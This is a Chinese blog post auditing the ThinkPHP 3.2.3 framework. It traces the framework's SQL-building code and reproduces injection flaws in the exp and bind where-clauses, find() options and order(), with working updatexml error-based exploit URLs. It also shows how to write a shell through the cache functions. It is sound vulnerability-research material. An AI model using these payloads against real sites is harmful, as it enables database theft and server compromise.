ThinkPHP3.2.3代码审计
一、ThinkPHP3
1、日志泄露
- 在开启DEBUG的情况下会在Runtime目录下生成日志
- ThinkPHP3.2结构:Application\Runtime\Logs\Home\23_06_22.log
- ThinkPHP3.1结构: Runtime\Logs\Home\23_06_22.log
2、缓存函数
- F() 函数 : 如果F函数可控,可以在缓存目录写入shell
- 缓存目录:Application\Runtime\Data\
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function F_test(){
// 通过缓存写shell
F("data","<?php phpinfo();?>");
}
public function index()
{
echo "哈哈";
}
}
- 会在缓存目录下生成一个data.php,里面就是写入的shell
- S()函数:用于数据缓存的函数
- 缓存目录:Application\Runtime\Temp
- 文件名:使用md5加密传入的字符串data
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller
{
public function F_test(){
// 通过缓存写shell
S("data","<?php phpinfo();?>");
}
public function index()
{
echo "哈哈";
}
}
- 会在缓存目录下生成一个md5(data).php,里面就是写入的shell
3、SQL语句执行流程
3.1、demo
public function F_test(){
$username = $_GET["username"];
$data = M("user")->where(array("username"=>$username))->find();
dump($data);
}
3.2、流程分析
- 先是初始化了数据库的连接
- 然后到where条件
/**
* 指定查询条件 支持安全过滤
* @access public
* @param mixed $where 条件表达式
* @param mixed $parse 预处理参数
* @return Model
*/
public function where($where, $parse = null)
{
if (!is_null($parse) && is_string($where)) {
if (!is_array($parse)) {
$parse = func_get_args();
array_shift($parse);
}
$parse = array_map(array($this->db, 'escapeString'), $parse);
$where = vsprintf($where, $parse);
} elseif (is_object($where)) {
$where = get_object_vars($where);
}
if (is_string($where) && '' != $where) {
$map = array();
$map['_string'] = $where;
$where = $map;
}
if (isset($this->options['where'])) {
$this->options['where'] = array_merge($this->options['where'], $where);
} else {
$this->options['where'] = $where;
}
return $this;
}
- 然后到find方法
public function find($options = array())
{
if (is_numeric($options) || is_string($options)) {
$where[$this->getPk()] = $options;
$this->options['where'] = $where;
}
// 根据复合主键查找记录
$pk = $this->getPk();
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
// 根据复合主键查询
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}
}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i];
unset($options[$i++]);
}
$this->options['where'] = $where;
} else {
return false;
}
}
// 总是查找一条记录
$this->options['limit'] = 1;
// 分析表达式
$options = $this->_parseOptions();
// 判断查询缓存
if (isset($options['cache'])) {
$cache = $options['cache'];
$key = is_string($cache['key']) ? $cache['key'] : md5(serialize($options));
$data = S($key, '', $cache);
if (false !== $data) {
$this->data = $data;
return $data;
}
}
$resultSet = $this->db->select($options);
if (false === $resultSet) {
return false;
}
if (empty($resultSet)) {
// 查询结果为空
return null;
}
if (is_string($resultSet)) {
return $resultSet;
}
// 读取数据后的处理
$data = $this->_read_data($resultSet[0]);
$this->_after_find($data, $options);
if (!empty($options['result'])) {
return $this->returnResult($data, $options['result']);
}
$this->data = $data;
if (isset($cache)) {
S($key, $data, $cache);
}
return $this->data;
}
- 调用select方法
public function select($options = array())
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$sql = $this->buildSelectSql($options);
$result = $this->query($sql, !empty($options['fetch_sql']) ? true : false, !empty($options['master']) ? true : false);
return $result;
}
- 调用buildSelectSql方法构造sql语句
public function buildSelectSql($options = array())
{
if (isset($options['page'])) {
// 根据页数计算limit
list($page, $listRows) = $options['page'];
$page = $page > 0 ? $page : 1;
$listRows = $listRows > 0 ? $listRows : (is_numeric($options['limit']) ? $options['limit'] : 20);
$offset = $listRows * ($page - 1);
$options['limit'] = $offset . ',' . $listRows;
}
$sql = $this->parseSql($this->selectSql, $options);
return $sql;
}
- 这里就是进行sql语句的拼凑
public function parseSql($sql, $options = array())
{
$sql = str_replace(
array('%TABLE%', '%DISTINCT%', '%FIELD%', '%JOIN%', '%WHERE%', '%GROUP%', '%HAVING%', '%ORDER%', '%LIMIT%', '%UNION%', '%LOCK%', '%COMMENT%', '%FORCE%'),
array(
$this->parseTable($options['table']),
$this->parseDistinct(isset($options['distinct']) ? $options['distinct'] : false),
$this->parseField(!empty($options['field']) ? $options['field'] : '*'),
$this->parseJoin(!empty($options['join']) ? $options['join'] : ''),
$this->parseWhere(!empty($options['where']) ? $options['where'] : ''),
$this->parseGroup(!empty($options['group']) ? $options['group'] : ''),
$this->parseHaving(!empty($options['having']) ? $options['having'] : ''),
$this->parseOrder(!empty($options['order']) ? $options['order'] : ''),
$this->parseLimit(!empty($options['limit']) ? $options['limit'] : ''),
$this->parseUnion(!empty($options['union']) ? $options['union'] : ''),
$this->parseLock(isset($options['lock']) ? $options['lock'] : false),
$this->parseComment(!empty($options['comment']) ? $options['comment'] : ''),
$this->parseForce(!empty($options['force']) ? $options['force'] : ''),
), $sql);
return $sql;
}
- 我们只使用了where
protected function parseWhere($where)
{
$whereStr = '';
if (is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
} else {
// 使用数组表达式
$operate = isset($where['_logic']) ? strtoupper($where['_logic']) : '';
if (in_array($operate, array('AND', 'OR', 'XOR'))) {
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate = ' ' . $operate . ' ';
unset($where['_logic']);
} else {
// 默认进行 AND 运算
$operate = ' AND ';
}
foreach ($where as $key => $val) {
if (is_numeric($key)) {
$key = '_complex';
}
if (0 === strpos($key, '_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key, $val);
} else {
// 查询字段的安全过滤
// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }
// 多条件支持
$multi = is_array($val) && isset($val['_multi']);
$key = trim($key);
if (strpos($key, '|')) {
// 支持 name|title|nickname 方式定义查询字段
$array = explode('|', $key);
$str = array();
foreach ($array as $m => $k) {
$v = $multi ? $val[$m] : $val;
$str[] = $this->parseWhereItem($this->parseKey($k), $v);
}
$whereStr .= '( ' . implode(' OR ', $str) . ' )';
} elseif (strpos($key, '&')) {
$array = explode('&', $key);
$str = array();
foreach ($array as $m => $k) {
$v = $multi ? $val[$m] : $val;
$str[] = '(' . $this->parseWhereItem($this->parseKey($k), $v) . ')';
}
$whereStr .= '( ' . implode(' AND ', $str) . ' )';
} else {
$whereStr .= $this->parseWhereItem($this->parseKey($key), $val);
}
}
$whereStr .= $operate;
}
$whereStr = substr($whereStr, 0, -strlen($operate));
}
return empty($whereStr) ? '' : ' WHERE ' . $whereStr;
}
- 调用parseWhereItem()函数
protected function parseWhereItem($key, $val)
{
$whereStr = '';
if (is_array($val)) {
if (is_string($val[0])) {
$exp = strtolower($val[0]);
if (preg_match('/^(eq|neq|gt|egt|lt|elt)$/', $exp)) {
// 比较运算
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
} elseif (preg_match('/^(notlike|like)$/', $exp)) {
// 模糊查找
if (is_array($val[1])) {
$likeLogic = isset($val[2]) ? strtoupper($val[2]) : 'OR';
if (in_array($likeLogic, array('AND', 'OR', 'XOR'))) {
$like = array();
foreach ($val[1] as $item) {
$like[] = $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($item);
}
$whereStr .= '(' . implode(' ' . $likeLogic . ' ', $like) . ')';
}
} else {
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
}
} elseif ('bind' == $exp) {
// 使用表达式
$whereStr .= $key . ' = :' . $val[1];
} elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
} elseif (preg_match('/^(notin|not in|in)$/', $exp)) {
// IN 运算
if (isset($val[2]) && 'exp' == $val[2]) {
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $val[1];
} else {
if (is_string($val[1])) {
$val[1] = explode(',', $val[1]);
}
$zone = implode(',', $this->parseValue($val[1]));
$whereStr .= $key . ' ' . $this->exp[$exp] . ' (' . $zone . ')';
}
} elseif (preg_match('/^(notbetween|not between|between)$/', $exp)) {
// BETWEEN运算
$data = is_string($val[1]) ? explode(',', $val[1]) : $val[1];
$whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($data[0]) . ' AND ' . $this->parseValue($data[1]);
} else {
E(L('_EXPRESS_ERROR_') . ':' . $val[0]);
}
} else {
$count = count($val);
$rule = isset($val[$count - 1]) ? (is_array($val[$count - 1]) ? strtoupper($val[$count - 1][0]) : strtoupper($val[$count - 1])) : '';
if (in_array($rule, array('AND', 'OR', 'XOR'))) {
$count = $count - 1;
} else {
$rule = 'AND';
}
for ($i = 0; $i < $count; $i++) {
$data = is_array($val[$i]) ? $val[$i][1] : $val[$i];
if ('exp' == strtolower($val[$i][0])) {
$whereStr .= $key . ' ' . $data . ' ' . $rule . ' ';
} else {
$whereStr .= $this->parseWhereItem($key, $val[$i]) . ' ' . $rule . ' ';
}
}
$whereStr = '( ' . substr($whereStr, 0, -4) . ' )';
}
} else {
//对字符串类型字段采用模糊匹配
$likeFields = $this->config['db_like_fields'];
if ($likeFields && preg_match('/^(' . $likeFields . ')$/i', $key)) {
$whereStr .= $key . ' LIKE ' . $this->parseValue('%' . $val . '%');
} else {
$whereStr .= $key . ' = ' . $this->parseValue($val);
}
}
return $whereStr;
}
- 对sql语句的值进行过滤
/**
* value分析
* @access protected
* @param mixed $value
* @return string
*/
protected function parseValue($value)
{
if (is_string($value)) {
$value = strpos($value, ':') === 0 && in_array($value, array_keys($this->bind)) ? $this->escapeString($value) : '\'' . $this->escapeString($value) . '\'';
} elseif (isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp') {
$value = $this->escapeString($value[1]);
} elseif (is_array($value)) {
$value = array_map(array($this, 'parseValue'), $value);
} elseif (is_bool($value)) {
$value = $value ? '1' : '0';
} elseif (is_null($value)) {
$value = 'null';
}
return $value;
}
- 核心是escapeString函数,调用addslashes方法
public function escapeString($str)
{
//在单引号中添加反斜杠
return addslashes($str);
}
- 最终返回的sql语句
SELECT * FROM `user` WHERE `username` = 'admin' LIMIT 1
4、不安全的写法导致注入
4.1、测试
- 还是上面的demo
- 构造sql语句,提示报错,修改一下
http://localhost/test.com/index.php/home/Index/F_test?username[0]=exp&username[1]=admin
- 修改成,会发现语句正常执行了
http://localhost/test.com/index.php/home/Index/F_test?username[0]=exp&username[1]=='admin'
4.2、分析核心代码
- 问题就是在刚才的parseWhereItem()函数中
- 其判断是否是数组,是则进入,然后判断是否有exp这个值,有就继续执行,最后返回sql语句
- 它没有parseValue()去过滤sql,从而造成注入
protected function parseWhereItem($key, $val)
{
$whereStr = '';
if (is_array($val)) {
if (is_string($val[0])) {
...
} elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
4.3、使用报错注入进行测试
and 1=(updatexml(1,concat(0x3a,(user())),1))%23
4.4、使用正确的写法防止
- 调用自带的I() 函数进行语句操作
public function F_test(){
$username = I("username");
$data = M("user")->where(array("username"=>$username))->find();
dump($data);
}
- 再次尝试刚才的exp
- 核心代码,就是调用了 think_filter
- 其在匹配到有这些字符时,就会在字符后面加一个空格
protected function parseWhereItem($key, $val)
{
$whereStr = '';
if (is_array($val)) {
if (is_string($val[0])) {
...
// 那么字符 'exp' 就不等于 'exp ' 了
} elseif ('exp' == $exp) {
// 使用表达式
$whereStr .= $key . ' ' . $val[1];
function think_filter(&$value)
{
// TODO 其他安全过滤
// 过滤查询特殊字符
if (preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN|BIND)$/i', $value)) {
$value .= ' ';
}
}
5、UPDATE注入漏洞
- 漏洞关键点:bind
5.1、漏洞复现
- 测试demo
public function F_test(){
$condition['username'] = I("username");
$data["password"] = I("password");
$res = M('user')->where($condition)->save($data);
dump($res);
}
- 测试功能是否正常
5.2、测试exp
- 注意事项:username[1]=0 (一定要写成0)
http://localhost/test.com/index.php/home/Index/f_test?username[0]=bind&username[1]=99&password=123456
- 查看页面
- 写成0,成功执行sql语句
- 使用exp
http://localhost/test1.com/index.php/home/Index/index?username[0]=bind&username[1]=0 and 1=(updatexml(1,concat(0x3a,(user())),1))%23&password=123456
5.3、分析代码
- 前面还是一样,匹配不同的关键字进入不同的关键函数
- 进入save
public function save($data = '', $options = array())
{
if (empty($data)) {
// 没有传递数据,获取当前数据对象的值
if (!empty($this->data)) {
$data = $this->data;
// 重置数据
$this->data = array();
} else {
$this->error = L('_DATA_TYPE_INVALID_');
return false;
}
}
- 进入update
public function update($data, $options)
{
$this->model = $options['model'];
$this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
$table = $this->parseTable($options['table']);
$sql = 'UPDATE ' . $table . $this->parseSet($data);
if (strpos($table, ',')) {
// 多表更新支持JOIN操作
$sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
}
$sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
if (!strpos($table, ',')) {
// 单表更新支持order和lmit
$sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
. $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
}
$sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
}
- 在这里:0的值还是没变
- 然后还是进入parseWhere,从parseWhere在进入到parseWhereItem,通过条件分支匹配进入到bind
- 这里最后 $whereStrf 返回的还是
'username'=:0 and 1=(updatexml(1,concat(0x3a,(user())),1))#
- 然后继续回到update函数继续往下走
- 走到最后执行execute函数,关键在这里
- 它进行了字符串的匹配替换,把:0替换成了123456
public function execute($str,$fetchSql=false) {
$this->initConnect(true);
if ( !$this->_linkID ) return false;
$this->queryStr = $str;
if(!empty($this->bind)){
$that = $this;
// 这段代码使用strtr进行了字符串替换
$this->queryStr = strtr($this->queryStr,array_map(function($val) use($that){ return '\''.$that->escapeString($val).'\''; },$this->bind));
}
if($fetchSql){
return $this->queryStr;
}
- 结果那行代码后,sql语句就变了
5.4、在回去分析I函数
- 我们这里调用了I函数,为什么还会有注入
- 第一个漏洞调用exp时,会显示exp表达式错误,那么这里为什么没有拦截
- 分析代码一看,发现是里面没有bind关键字,没有匹配上
function think_filter(&$value){
// TODO 其他安全过滤
// 过滤查询特殊字符
if(preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i',$value)){
$value .= ' ';
}
}
6、find注入漏洞
- demo
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$id = I("id");
$data = M("user")->find($id);
dump($data);
}
}
6.1、漏洞复现
- 访问页面
- 测试exp
- 除了find,select,delete也是存在相同漏洞
http://localhost/test1.com/index.php/home/Index/index?id[where]=1%20and%201=(updatexml(1,concat(0x3a,(user())),1))%23
6.2、分析代码
- 断点分析
- 跟踪到这里,最主要的就是这个$options可控
- 到最后构造sql语句,由于不匹配里面的条件,所以都没有给过滤
- 返回sql语句
7、update注入
- demo
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$username = I("username");
$order = I("order");
$data=M("user")->where(array("username"=>$username))->order($order)->select();
}
}
7.1、漏洞复现
- 测试exp
http://localhost/test1.com/index.php/home/Index/index?username=aaa&order[updatexml(1,concat(0x3a,(user())),1)]
7.2、分析代码
- 关键就在于parseWhereItem中的parseOrder() 函数
- 查看该函数
- 只判断是否是数组,然后遍历,中间没有进行任何过滤
protected function parseOrder($order) {
if(is_array($order)) {
$array = array();
foreach ($order as $key=>$val){
if(is_numeric($key)) {
$array[] = $this->parseKey($val);
}else{
$array[] = $this->parseKey($key).' '.$val;
}
}
$order = implode(',',$array);
}
return !empty($order)? ' ORDER BY '.$order:'';
}
版权所有:Ljierui'Blog
文章标题:ThinkPHP3.2.3代码审计
文章链接:https://fuckdog.org/post-7.html
本站文章均为原创,未经授权请勿用于任何商业用途
文章标题:ThinkPHP3.2.3代码审计
文章链接:https://fuckdog.org/post-7.html
本站文章均为原创,未经授权请勿用于任何商业用途
推荐阅读: